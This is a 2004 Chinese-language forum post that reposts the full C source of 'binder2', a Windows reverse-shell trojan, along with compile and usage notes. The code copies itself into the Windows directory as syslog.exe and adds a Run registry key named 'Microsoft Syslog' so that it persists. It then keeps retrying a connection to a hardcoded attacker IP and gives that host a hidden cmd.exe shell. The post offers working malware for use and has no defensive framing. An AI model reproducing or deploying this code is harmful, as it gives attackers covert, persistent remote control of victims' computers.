免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2072 | 回复: 0
打印 上一主题 下一主题

一个简单的反弹木马binder2源码zz [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2004-06-29 11:03 |只看该作者 |倒序浏览
  1. /*
  2. * Trivial Reverse cmd binder
  3. *
  4. * When LAN is full, ThreaT will walk on your network
  5. *
  6.   ******************************

  7.   compile : cl.exe binder2.c


  8.   Usage
  9.   _____
  10.   
  11.   binder2.exe (backdoor the current workstation & connect to default IP for bind a cmd shell on default Port)
  12.   binder2.exe 123 (connect to default IP & bind a cmd shell on port 123)
  13.   binder2.exe 123 10.0.0.1 (connect to 10.0.0.1 & bind a cmd shell on port 123)
  14.   binder2 /kill (remove startkey of the registery)

  15.   
  16.   ******************************
  17. *
  18. * ThreaT@Ifrance.com
  19. * http://s0h.cc/~threat/
  20. *
  21. */


  22. #include <winsock2.h>;

  23. #pragma comment(lib, "ws2_32.lib")
  24. #pragma comment(lib, "advapi32.lib")
  25. #pragma comment(lib, "user32.lib")

  26. /* Win entry point (sa evite d'avoir une grosse console crade qui s'affiche ) */

  27. int WINAPI WinMain(
  28.     HINSTANCE  hInstance,
  29.     HINSTANCE  hPrevInstance,       
  30.     LPSTR  lpszCmdLine,
  31.     int  nCmdShow
  32.    )
  33. {

  34.         WSADATA wd;
  35.         HKEY MyKey;
  36.         SOCKET sock;
  37.         STARTUPINFO si;
  38.         PROCESS_INFORMATION pi;
  39.         struct sockaddr_in sin;
  40.         char buffer[MAX_PATH], cmd[MAX_PATH], *p,
  41.                
  42.         //IP[16] = "81.91.66.30\x00";    // adresse IP par default (ici www.s0h.cc)
  43.         IP[16] = "192.168.108.99\x00";    // adresse IP par default (ici www.s0h.cc)
  44.         unsigned short port = 1234;    // port par default

  45.         /* backdoor le bordel */
  46.         GetWindowsDirectory (buffer,MAX_PATH);
  47.         lstrcat (buffer,"\\syslog.exe\x00");
  48.         GetModuleFileName (NULL,cmd,MAX_PATH);

  49.         CopyFile (cmd,buffer,FALSE);
  50.         RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",(DWORD)NULL,KEY_ALL_ACCESS,&MyKey);
  51.         RegSetValueEx (MyKey,"Microsoft Syslog",(DWORD)NULL,REG_SZ,( CONST BYTE * )&buffer,strlen (buffer));

  52.         /* traite les eventuels arguments */
  53.         p = strtok (lpszCmdLine," ");       
  54.         if (lpszCmdLine[0] == '/' || IsCharAlphaNumeric(lpszCmdLine[0]))
  55.         {
  56.                 if (!lstrcmpi (lpszCmdLine,"/kill")) { RegDeleteValue(MyKey,"Microsoft Syslog"); ExitProcess (0);}
  57.                 else port = atoi (lpszCmdLine);

  58.                 if ( p = strtok (NULL," ") ) lstrcpyn (IP,p,16);
  59.         }

  60.         /* prepare la sauce */
  61.         memset(&si, 0, sizeof(si));
  62.         WSAStartup(MAKEWORD( 1, 1 ), &wd);

  63.         // David Litchfield in his Blackhat talk said... (PJ)
  64.         sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  65.        
  66.         sin.sin_family = AF_INET;
  67.         sin.sin_port = htons(port);
  68.         sin.sin_addr.s_addr = inet_addr(IP);

  69.         /* tente une connexion toute les 30 secondes */
  70.         while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (30000);
  71.        
  72.         /* balance le shell et ce casse */
  73.         si.cb = sizeof(si);
  74.         si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
  75.         si.wShowWindow=SW_HIDE;
  76.         si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
  77.         CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
  78.         return 0;
  79. }


  80. /*** no sousaille ma cacaille ***/
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP